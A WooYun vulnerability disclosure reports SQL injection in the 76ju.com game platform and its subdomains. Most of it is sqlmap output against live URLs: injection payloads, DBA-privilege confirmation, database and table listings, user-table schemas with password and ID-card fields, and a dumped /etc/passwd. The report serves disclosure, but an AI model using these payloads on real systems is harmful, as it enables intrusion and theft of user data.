当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144459

漏洞标题：齐乐聚网页游戏平台主站及所有二级网页存在SQL注入（DBA权限/六十多万用户）

相关厂商：武汉酷米游科技发展有限公司

漏洞作者： 路人甲

提交时间：2015-10-02 09:08

修复时间：2015-11-16 09:10

公开时间：2015-11-16 09:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-02： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-16： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

主站存在SQL注入，所有的二级游戏平台存在注入，同一个参数！~~~（DBA权限+几十万用户信息泄漏+可读取任意文件）

详细说明：

1、主站存在SQL注入

http://www.76ju.com/?c=ServiceCenter&action=detail&cid=3&id=25


id参数存在注入

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: c=ServiceCenter&action=detail&cid=3&id=25) AND 9148=9148 AND (4098=
4098
    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: c=ServiceCenter&action=detail&cid=3&id=-3901) UNION ALL SELECT NULL
,NULL,NULL,CONCAT(0x716b647671,0x4b4353684b524b734163,0x7163676871),NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: c=ServiceCenter&action=detail&cid=3&id=25) AND SLEEP(5) AND (7772=7
772
---
[22:58:29] [INFO] testing MySQL
[22:58:29] [INFO] confirming MySQL
[22:58:30] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[22:58:30] [INFO] fetching current user
current user:    'root@127.0.0.1'
[22:58:30] [INFO] fetching current database
current database:    '76jutest'
[22:58:30] [INFO] testing if current user is DBA
[22:58:30] [INFO] fetching current user
current user is DBA:    True
database management system users [8]:
[*] ''@'51.153.175.59.broad.wh.hb.dynamic.163data.com.cn'
[*] ''@'localhost'
[*] 'root'@'%'
[*] 'root'@'127.0.0.1'
[*] 'root'@'192.168.1.100'
[*] 'root'@'27.16.170.223'
[*] 'root'@'51.153.175.59.broad.wh.hb.dynamic.163data.com.cn'
[*] 'root'@'::1'
available databases [10]:
[*] 76ju
[*] 76jutest
[*] information_schema
[*] iy6v1
[*] mysql
[*] performance_schema
[*] qq990
[*] qq990test
[*] qq990test1
[*] test
Database: 76ju
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| pre_userplaygamelog               | 13690346 |		上千万用户游戏记录
| pre_newcard                       | 668352  |
| pre_user                          | 650856  |			六十多万用户
| pre_userpingtaibilog              | 302229  |
| pre_userpingtaibilog_copy         | 248959  |
| pre_z_game_card                   | 232439  |			二十多万游戏卡
| bbs_home_notification             | 230412  |
| pre_payorder                      | 227347  |
| pre_payorder_copy                 | 194752  |
| bbs_security_evilpost             | 176456  |
| pre_z_card_record                 | 143342  |
| bbs_forum_statlog                 | 93778   |
| bbs_plugin_auction_message        | 70042   |
| pre_z_charge_username             | 51378   |
| bbs_common_district               | 45051   |
| bbs_forum_threadpartake           | 37575   |
| pre_z_charge_record               | 30294   |
| pre_longnews                      | 29364   |
| bbs_common_credit_rule_log        | 27465   |
| pre_log                           | 26720   |
| pre_usergetpwdlog                 | 21056   |
| bbs_ucenter_memberfields          | 18455   |
| bbs_ucenter_members               | 18455   |		将近两万多ucenter成员
| bbs_common_member                 | 18375   |		将近两万多common成员
| bbs_common_member_count           | 18370   |
| bbs_common_member_field_forum     | 18370   |
| bbs_common_member_field_home      | 18370   |
| bbs_common_member_profile         | 18370   |
| bbs_common_member_status          | 18370   |
| bbs_plugin_auctionapply           | 17884   |
| pre_gameserver                    | 12748   |
| pre_kaifubiao                     | 12556   |
| pre_adminaddpingtaibilog          | 12318   |
| bbs_common_onlinetime             | 10714   |
| pre_lhzshd                        | 9706    |
| pre_lhzs_prize                    | 9149    |
| bbs_forum_post                    | 7929    |
| pre_longplus                      | 6076    |
| pre_card                          | 5890    |
| pre_news                          | 3939    |
| pre_paytoolog                     | 3142    |
| pre_admincheck                    | 3123    |
| bbs_forum_thread                  | 2764    |
| pre_cardtest                      | 2525    |
| pre_cpsuser                       | 2146    |		两千多cpsuser
| bbs_common_tagitem                | 1821    |
| bbs_forum_thread_moderate         | 1693    |
| bbs_common_connect_guest          | 1392    |
| pre_longplustype                  | 1292    |
| bbs_common_stat                   | 1086    |
| bbs_forum_attachment              | 1040    |
| bbs_forum_modwork                 | 921     |
| bbs_forum_post_tableid            | 842     |
| pre_longnewstype                  | 796     |
| bbs_ucenter_pm_members            | 587     |		几百ucenter_pm_members
| bbs_security_eviluser             | 523     |			？
| bbs_ucenter_pm_indexes            | 446     |
| bbs_connect_memberbindlog         | 440     |
| bbs_common_member_connect         | 435     |
| bbs_common_credit_log             | 423     |
| bbs_plugin_auction                | 423     |
| bbs_common_setting                | 405     |
| bbs_forum_postcomment             | 402     |
| bbs_connect_postfeedlog           | 396     |
| pre_z_card_type                   | 361     |
| bbs_forum_threaddisablepos        | 349     |
| bbs_gamekey_card                  | 332     |
| bbs_forum_postcache               | 303     |
| bbs_ucenter_pm_lists              | 295     |
| bbs_common_regip                  | 274     |
| bbs_forum_rsscache                | 274     |
| bbs_forum_forumfield              | 192     |
| bbs_forum_forum                   | 191     |
| bbs_common_syscache               | 189     |
| bbs_forum_attachment_6            | 164     |
| pre_game                          | 160     |
| bbs_common_tag                    | 142     |
| bbs_ucenter_newpm                 | 132     |
| bbs_forum_attachment_unused       | 131     |
| pre_hdrecord                      | 106     |
| bbs_common_block_style            | 103     |
| bbs_forum_attachment_5            | 102     |
| pre_link                          | 102     |
| bbs_forum_attachment_1            | 100     |
| bbs_forum_attachment_4            | 99      |
| pre_lhzs_prize_record             | 92      |
| bbs_forum_attachment_0            | 86      |
| bbs_common_smiley                 | 85      |
| pre_cardstype                     | 85      |
| bbs_forum_attachment_8            | 81      |
| bbs_common_member_crime           | 80      |
| pre_longlink                      | 79      |
| bbs_forum_attachment_3            | 77      |
| bbs_forum_attachment_9            | 76      |
| bbs_forum_attachment_7            | 71      |
| bbs_forum_threadimage             | 70      |
| bbs_common_admincp_perm           | 67      |
| bbs_connect_feedlog               | 57      |
| pre_payerrorlog                   | 56      |
| bbs_common_nav                    | 54      |
| bbs_common_pluginvar              | 54      |
| bbs_forum_attachment_2            | 53      |
| bbs_gamekey_game                  | 53      |
| bbs_ucenter_pm_messages_8         | 53      |
| pre_cpslock                       | 53      |
| pre_plus                          | 53      |
| bbs_ucenter_pm_messages_3         | 52      |
| bbs_common_member_profile_setting | 51      |
| bbs_ucenter_pm_messages_7         | 51      |
| bbs_ucenter_pm_messages_0         | 46      |
| bbs_ucenter_pm_messages_2         | 46      |
| bbs_common_stylevar               | 45      |
| bbs_ucenter_pm_messages_1         | 45      |
| bbs_ucenter_pm_messages_9         | 45      |
| bbs_ucenter_notelist              | 38      |
| bbs_ucenter_pm_messages_4         | 37      |
| bbs_ucenter_pm_messages_6         | 37      |
| bbs_ucenter_pm_messages_5         | 34      |
| bbs_common_banned                 | 32      |
| bbs_common_credit_rule            | 31      |
| pre_adminuser                     | 29      |			管理员
| bbs_ucenter_settings              | 26      |
| bbs_common_myapp                  | 25      |
| pre_paytype                       | 22      |
| pre_remenyouxi                    | 22      |
| bbs_common_usergroup              | 20      |
| bbs_common_usergroup_field        | 20      |
| bbs_common_cron                   | 18      |
| pre_xinshoulibao                  | 16      |
| bbs_common_session                | 15      |
| bbs_home_click                    | 15      |
| pre_ads                           | 13      |
| pre_lhzs_prize_limit              | 13      |
| bbs_common_plugin                 | 12      |
| bbs_home_friend_request           | 11      |
| bbs_common_friendlink             | 10      |
| bbs_common_searchindex            | 10      |
| bbs_common_word                   | 10      |
| bbs_forum_medal                   | 10      |
| pre_lhzs_prize_money              | 10      |
| pre_lhzshd2                       | 8       |
| bbs_common_admingroup             | 7       |
| pre_plustype                      | 7       |
| bbs_forum_typeoption              | 6       |
| bbs_gamekey_gametype              | 6       |
| bbs_home_friend                   | 6       |
| pre_paytypebank                   | 6       |
| pre_userpingtaibilogtype          | 6       |
| bbs_common_admincp_group          | 5       |
| bbs_common_failedlogin            | 5       |
| pre_gameserverstatus              | 5       |
| bbs_common_admincp_member         | 4       |		管理？？？
| bbs_common_statuser               | 4       |
| bbs_forum_bbcode                  | 4       |
| bbs_forum_onlinelist              | 4       |
| bbs_forum_grouplevel              | 3       |
| bbs_forum_imagetype               | 3       |
| pre_longlinktype                  | 3       |
| pre_newstype                      | 3       |
| bbs_common_block                  | 2       |
| bbs_common_patch                  | 2       |
| bbs_common_report                 | 2       |
| bbs_common_template_block         | 2       |
| bbs_common_word_type              | 2       |
| bbs_forum_polloption              | 2       |
| bbs_forum_poststick               | 2       |
| bbs_forum_promotion               | 2       |
| bbs_home_favorite                 | 2       |
| bbs_mobile_setting                | 2       |
| bbs_ucenter_applications          | 2       |
| pre_adstype                       | 2       |
| pre_fail_charge                   | 2       |
| bbs_common_admincp_session        | 1       |
| bbs_common_credit_rule_log_field  | 1       |
| bbs_common_diy_data               | 1       |
| bbs_common_process                | 1       |
| bbs_common_secquestion            | 1       |
| bbs_common_style                  | 1       |
| bbs_common_template               | 1       |
| bbs_forum_poll                    | 1       |
| bbs_forum_pollvoter               | 1       |
| bbs_gamekey_cardtype              | 1       |
| bbs_gamekey_company               | 1       |
| bbs_gamekey_runtype               | 1       |
| bbs_ucenter_admins                | 1       |		ucenter管理员
| bbs_ucenter_domains               | 1       |
| bbs_ucenter_failedlogins          | 1       |
| pre_linktype                      | 1       |
+-----------------------------------+---------+
Database: 76jutest
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| kmy_member                        | 681204  |		六十八万多成员
| kmy_member_copy                   | 650860  |
| pre_user                          | 650856  |		六十五万多用户
| kmy_z_game_card                   | 235520  |
| kmy_member_login_game_record      | 89837   |
| kmy_operationlog                  | 15460   |
| kmy_game_server                   | 7159    |
| kmy_news                          | 2517    |
| kmy_access                        | 2421    |
| kmy_game_charge_record            | 1753    |
| kmy_pay_record                    | 1685    |
| kmy_menu                          | 1386    |
| kmy_z_card_record                 | 1362    |
| kmy_platform_money_record         | 799     |
| kmy_notification                  | 719     |
| kmy_game_pic                      | 551     |
| kmy_z_card_type                   | 369     |
| kmy_kaifu                         | 340     |
| kmy_loginlog                      | 306     |		登陆记录
| kmy_z_charge_username             | 201     |
| kmy_z_charge_record               | 196     |
| kmy_game                          | 160     |
| kmy_game_old                      | 160     |
| kmy_fail_charge                   | 120     |
| kmy_tg_link                       | 112     |
| kmy_findpwd_record                | 96      |
| kmy_game_leftmenu                 | 63      |
| kmy_friend_link                   | 39      |
| kmy_pay_type                      | 23      |
| kmy_faq                           | 22      |
| kmy_user                          | 14      |		管理员
| kmy_pic                           | 12      |
| kmy_game_charge_retry             | 11      |
| kmy_tg_member                     | 11      |		推广用户
| kmy_cache                         | 9       |
| kmy_single_page                   | 8       |
| kmy_role                          | 6       |
| kmy_config                        | 1       |
+-----------------------------------+---------+
Database: iy6v1
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| pre_game_tj                       | 9       |
| pre_plus                          | 6       |
| pre_gameserverstatus              | 5       |
| pre_user                          | 5       |
| pre_news                          | 4       |
| pre_game                          | 3       |
| pre_adminuser                     | 2       |
| pre_gameserver                    | 2       |
| pre_kaifubiao                     | 2       |
| pre_remenyouxi                    | 2       |
| pre_admincheck                    | 1       |
| pre_log                           | 1       |
+-----------------------------------+---------+
Database: qq990test
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| kmy_member                        | 442060  |		四十多万用户成员
| kmy_game_server                   | 4437    |
| kmy_game_charge_record            | 2426    |
| kmy_access                        | 1582    |
| kmy_kaifu                         | 563     |
| kmy_loginlog                      | 252     |		登陆记录
| kmy_fail_charge                   | 154     |
| kmy_game_pic                      | 77      |
| kmy_game                          | 56      |
| kmy_friend_link                   | 39      |
| kmy_findpwd_record                | 38      |
| kmy_game_leftmenu                 | 35      |
| kmy_faq                           | 22      |
| kmy_game_charge_retry             | 13      |
| kmy_cache                         | 9       |
| kmy_config                        | 1       |
+-----------------------------------+---------+
Database: mysql
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| help_relation                     | 1090    |
| help_topic                        | 534     |
| help_keyword                      | 485     |
| innodb_index_stats                | 129     |
| help_category                     | 40      |
| innodb_table_stats                | 40      |
| `user`                            | 8       |
| db                                | 2       |
| proxies_priv                      | 2       |
+-----------------------------------+---------+
Database: qq990
+-----------------------------------+---------+
| Table                             | Entries |
+-----------------------------------+---------+
| pre_userplaygamelog               | 1453986 |		上百万游戏记录
| pre_mask                          | 681250  |
| pre_user                          | 632011  |			六十多万用户
| bbs_plugin_auction_message        | 86752   |
| pre_card                          | 63280   |
| bbs_home_notification             | 48421   |
| pre_userpingtaibilog              | 38529   |
| bbs_forum_post                    | 36000   |
| bbs_common_credit_rule_log        | 34300   |
| pre_payorder                      | 29023   |
| bbs_common_credit_log             | 27140   |
| bbs_common_member_profile         | 24066   |
| bbs_common_member_field_forum     | 24063   |
| bbs_common_member_count           | 24061   |
| bbs_common_member_field_home      | 24061   |
| bbs_common_member_status          | 24061   |
| bbs_common_member                 | 24030   |		两万多成员
| bbs_ucenter_members               | 23883   |		两万多ucenter用户
| bbs_ucenter_memberfields          | 21539   |
| bbs_plugin_auctionapply           | 20517   |
| bbs_forum_threadmod               | 11473   |
| bbs_security_evilpost             | 11218   |
| bbs_forum_thread                  | 10737   |
| bbs_forum_statlog                 | 6494    |
| bbs_common_onlinetime             | 6327    |
| bbs_forum_threadpartake           | 5330    |
| pre_longnews                      | 4760    |
| pre_adminaddpingtaibilog          | 2019    |
| pre_gameserver                    | 1680    |
| bbs_common_tagitem                | 1642    |
| pre_news                          | 1566    |
| pre_paytoolog                     | 1422    |
| bbs_forum_post_tableid            | 951     |
| pre_longplus                      | 850     |
| pre_kaifubiao                     | 711     |
| bbs_forum_attachment              | 656     |
| pre_usergetpwdlog                 | 614     |
| pre_log                           | 578     |
| bbs_plugin_auction                | 492     |
| bbs_common_stat                   | 421     |
| bbs_forum_modwork                 | 406     |
| bbs_common_setting                | 397     |
| bbs_common_member_crime           | 317     |
| bbs_forum_rsscache                | 250     |
| pre_admincheck                    | 227     |
| pre_apiorder                      | 200     |
| pre_longplustype                  | 162     |
| bbs_common_statuser               | 134     |
| bbs_common_syscache               | 118     |
| bbs_ucenter_pm_members            | 118     |
| pre_longnewstype                  | 115     |
| bbs_common_block_style            | 103     |
| bbs_ucenter_pm_indexes            | 99      |
| bbs_common_smiley                 | 85      |
| bbs_forum_attachment_5            | 83      |
| bbs_forum_attachment_3            | 75      |
| pre_link                          | 68      |
| bbs_common_admincp_perm           | 67      |
| bbs_forum_attachment_6            | 66      |
| bbs_common_tag                    | 65      |
| bbs_forum_attachment_4            | 64      |
| bbs_forum_forumfield              | 63      |
| bbs_forum_forum                   | 62      |
| bbs_forum_attachment_9            | 60      |
| bbs_ucenter_pm_lists              | 59      |
| bbs_forum_attachment_1            | 58      |
| bbs_forum_attachment_2            | 58      |
| bbs_forum_attachment_8            | 58      |
| bbs_forum_attachment_7            | 54      |
| bbs_common_nav                    | 53      |
| bbs_common_member_profile_setting | 51      |
| bbs_forum_attachment_0            | 47      |
| bbs_common_stylevar               | 45      |
| pre_plus                          | 44      |
| bbs_forum_threadimage             | 40      |
| bbs_ucenter_newpm                 | 36      |
| bbs_ucenter_notelist              | 34      |
| bbs_forum_attachment_unused       | 32      |
| bbs_common_credit_rule            | 31      |
| bbs_ucenter_settings              | 26      |
| bbs_forum_thread_moderate         | 25      |
| pre_game                          | 22      |
| pre_paytype                       | 22      |
| pre_remenyouxi                    | 22      |
| bbs_common_usergroup              | 20      |
| bbs_common_usergroup_field        | 20      |
| bbs_security_eviluser             | 20      |
| bbs_common_cron                   | 18      |
| bbs_common_myapp                  | 17      |
| bbs_ucenter_pm_messages_1         | 16      |
| bbs_home_click                    | 15      |
| bbs_common_failedlogin            | 13      |
| bbs_common_pluginvar              | 13      |
| bbs_ucenter_pm_messages_3         | 13      |
| bbs_forum_polloption              | 12      |
| bbs_ucenter_pm_messages_5         | 11      |
| pre_cpsuser                       | 11      |
| bbs_common_word                   | 10      |
| bbs_forum_medal                   | 10      |
| bbs_forum_pollvoter               | 10      |
| bbs_home_friend_request           | 10      |
| bbs_ucenter_pm_messages_2         | 10      |
| bbs_ucenter_pm_messages_9         | 10      |
| pre_adminuser                     | 10      |
| bbs_common_plugin                 | 9       |
| bbs_common_regip                  | 9       |
| bbs_ucenter_pm_messages_4         | 9       |
| bbs_ucenter_pm_messages_6         | 9       |
| bbs_forum_onlinelist              | 8       |
| bbs_ucenter_pm_messages_8         | 8       |
| bbs_common_admingroup             | 7       |
| bbs_ucenter_pm_messages_0         | 7       |
| bbs_forum_typeoption              | 6       |
| bbs_ucenter_pm_messages_7         | 6       |
| pre_paytypebank                   | 6       |
| bbs_common_admincp_group          | 5       |
| bbs_forum_poll                    | 5       |
| pre_ads                           | 5       |
| pre_gameserverstatus              | 5       |
| pre_userpingtaibilogtype          | 5       |
| bbs_common_mailqueue              | 4       |
| bbs_forum_bbcode                  | 4       |
| pre_newstype                      | 4       |
| bbs_forum_grouplevel              | 3       |
| bbs_forum_imagetype               | 3       |
| bbs_forum_threadclass             | 3       |
| bbs_home_favorite                 | 3       |
| pre_plustype                      | 3       |
| bbs_common_admincp_member         | 2       |
| bbs_common_block                  | 2       |
| bbs_common_cache                  | 2       |
| bbs_common_patch                  | 2       |
| bbs_common_template_block         | 2       |
| bbs_common_word_type              | 2       |
| bbs_mobile_setting                | 2       |
| bbs_common_admincp_cmenu          | 1       |
| bbs_common_admincp_session        | 1       |
| bbs_common_diy_data               | 1       |
| bbs_common_report                 | 1       |
| bbs_common_style                  | 1       |
| bbs_common_template               | 1       |
| bbs_forum_post_moderate           | 1       |
| bbs_home_follow                   | 1       |
| bbs_ucenter_admins                | 1       |
| bbs_ucenter_applications          | 1       |
| pre_adstype                       | 1       |
| pre_linktype                      | 1       |
| pre_longlinktype                  | 1       |
+-----------------------------------+---------+
Database: qq990
Table: pre_user
[17 columns]
+---------------+------------------+
| Column        | Type             |
+---------------+------------------+
| chongzhi      | char(32)         |
| email         | char(40)         |
| lastloginip   | char(15)         |
| lastlogintime | int(10) unsigned |
| mob           | char(11)         |
| password      | char(32)         |
| paypassword   | char(32)         |
| pingtaibi     | char(32)         |
| qq            | char(11)         |
| regip         | char(15)         |
| regtime       | int(10) unsigned |
| sfzid         | char(18)         |
| sfzname       | char(6)          |
| tgid          | int(11)          |
| tgid2         | char(15)         |
| uid           | int(10) unsigned |
| username      | char(20)         |
+---------------+------------------+
Database: qq990
Table: bbs_ucenter_members
[12 columns]
+---------------+-----------------------+
| Column        | Type                  |
+---------------+-----------------------+
| email         | char(32)              |
| lastloginip   | int(10)               |
| lastlogintime | int(10) unsigned      |
| myid          | char(30)              |
| myidkey       | char(16)              |
| password      | char(32)              |
| regdate       | int(10) unsigned      |
| regip         | char(15)              |
| salt          | char(6)               |
| secques       | char(8)               |
| uid           | mediumint(8) unsigned |
| username      | char(15)              |
+---------------+-----------------------+
Database: qq990
Table: bbs_common_member
[22 columns]
+--------------------+-----------------------+
| Column             | Type                  |
+--------------------+-----------------------+
| accessmasks        | tinyint(1)            |
| adminid            | tinyint(1)            |
| allowadmincp       | tinyint(1)            |
| avatarstatus       | tinyint(1)            |
| conisbind          | tinyint(1) unsigned   |
| credits            | int(10)               |
| email              | char(40)              |
| emailstatus        | tinyint(1)            |
| extgroupids        | char(20)              |
| groupexpiry        | int(10) unsigned      |
| groupid            | smallint(6) unsigned  |
| newpm              | smallint(6) unsigned  |
| newprompt          | smallint(6) unsigned  |
| notifysound        | tinyint(1)            |
| onlyacceptfriendpm | tinyint(1)            |
| password           | char(32)              |
| regdate            | int(10) unsigned      |
| status             | tinyint(1)            |
| timeoffset         | char(4)               |
| uid                | mediumint(8) unsigned |
| username           | char(15)              |
| videophotostatus   | tinyint(1)            |
+--------------------+-----------------------+
Table: pre_cpsuser
[13 columns]
+----------+---------------------+
| Column   | Type                |
+----------+---------------------+
| beizhu   | char(30)            |
| code     | char(18)            |
| gameid   | smallint(5)         |
| id       | int(11) unsigned    |
| mail     | varchar(200)        |
| mobile   | char(20)            |
| password | char(32)            |
| qq       | char(20)            |
| quanxian | tinyint(3) unsigned |
| realname | char(20)            |
| status   | tinyint(1) unsigned |
| tgid     | mediumint(8)        |
| username | char(15)            |
+----------+---------------------+
Database: 76ju
Table: bbs_common_member
[34 columns]
+--------------------+-----------------------+
| Column             | Type                  |
+--------------------+-----------------------+
| accessmasks        | tinyint(1)            |
| adminid            | tinyint(1)            |
| allowadmincp       | tinyint(1)            |
| avatarstatus       | tinyint(1)            |
| conisbind          | tinyint(1) unsigned   |
| credits            | int(10)               |
| email              | char(40)              |
| emailstatus        | tinyint(1)            |
| extgroupids        | char(20)              |
| groupexpiry        | int(10) unsigned      |
| groupid            | smallint(6) unsigned  |
| lastloginip        | char(15)              |
| lastlogintime      | int(10)               |
| mob                | char(11)              |
| newpm              | smallint(6) unsigned  |
| newprompt          | smallint(6) unsigned  |
| notifysound        | tinyint(1)            |
| onlyacceptfriendpm | tinyint(1)            |
| password           | char(32)              |
| paypassword        | char(32)              |
| pingtaibi          | char(32)              |
| qq                 | char(20)              |
| regdate            | int(10) unsigned      |
| regip              | char(15)              |
| regtime            | int(10)               |
| sfzid              | char(18)              |
| sfzname            | char(10)              |
| status             | tinyint(1)            |
| tgid               | int(10)               |
| tgid2              | int(10)               |
| timeoffset         | char(4)               |
| uid                | mediumint(8) unsigned |
| username           | char(15)              |
| videophotostatus   | tinyint(1)            |
+--------------------+-----------------------+
Database: 76ju
Table: bbs_ucenter_members
[12 columns]
+---------------+-----------------------+
| Column        | Type                  |
+---------------+-----------------------+
| email         | char(32)              |
| lastloginip   | int(10)               |
| lastlogintime | int(10) unsigned      |
| myid          | char(30)              |
| myidkey       | char(16)              |
| password      | char(32)              |
| regdate       | int(10) unsigned      |
| regip         | char(15)              |
| salt          | char(6)               |
| secques       | char(8)               |
| uid           | mediumint(8) unsigned |
| username      | char(15)              |
+---------------+-----------------------+
Database: 76ju
Table: pre_userplaygamelog
[6 columns]
+----------+----------------------+
| Column   | Type                 |
+----------+----------------------+
| gameid   | tinyint(3) unsigned  |
| id       | int(10) unsigned     |
| logip    | char(15)             |
| logtime  | int(10) unsigned     |
| serverid | smallint(5) unsigned |
| uid      | int(10) unsigned     |
+----------+----------------------+
Database: 76ju
Table: pre_user
[17 columns]
+---------------+------------------+
| Column        | Type             |
+---------------+------------------+
| chongzhi      | char(32)         |
| email         | char(40)         |
| lastloginip   | char(15)         |
| lastlogintime | int(10) unsigned |
| mob           | char(11)         |
| password      | char(32)         |
| paypassword   | char(32)         |
| pingtaibi     | char(32)         |
| qq            | char(11)         |
| regip         | char(15)         |
| regtime       | int(10) unsigned |
| sfzid         | char(18)         |
| sfzname       | char(6)          |
| tgid          | smallint(5)      |
| tgid2         | char(15)         |
| uid           | int(9) unsigned  |
| username      | char(20)         |
+---------------+------------------+


能获取到几十万的数据，就不继续了，自己看吧！~~~
2、所有二级网页存在SQL注入
列出一部分

http://xsg.76ju.com/?action=detail&id=4117
http://jz.76ju.com/?action=detail&id=4043
http://sgyjz.76ju.com/?action=detail&id=4093
http://zlsg.76ju.com/?action=detail&id=4435
http://atxm.76ju.com/?action=detail&id=4292
http://tglz2.76ju.com/?action=detail&id=4404
http://sgh.76ju.com/?action=detail&id=4393
……
等等，所有的二级网页游戏都有该id参数存在注入
以http://xsg.76ju.com/?action=detail&id=4117进行测试


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=detail&id=4117) AND 9720=9720 AND (2548=2548
    Type: UNION query
    Title: MySQL UNION query (NULL) - 20 columns
    Payload: action=detail&id=-4436) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7170616771,0x586463734
2657855776c,0x7165746d71),NULL,NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=detail&id=4117) AND SLEEP(5) AND (5111=5111
---
[23:03:37] [INFO] testing MySQL
[23:03:37] [INFO] confirming MySQL
[23:03:38] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0
[23:03:38] [INFO] fetching current user
current user:    'root@127.0.0.1'
[23:03:38] [INFO] fetching current database
current database:    '76jutest'
[23:03:38] [INFO] fetching server hostname
hostname:    '51.153.175.59.broad.wh.hb.dynamic.163data.com.cn'
[23:03:38] [INFO] testing if current user is DBA
[23:03:38] [INFO] fetching current user
current user is DBA:    True


3、可以获取任意文件
/etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
kumiyou:x:500:500:kumiyou:/home/kumiyou:/bin/bash
ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
mysql:x:501:501::/home/mysql:/bin/bash

漏洞证明：

如上

修复方案：

过滤修复
权限限制
数据库不要全部放在一起

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)

漏洞评价：

评论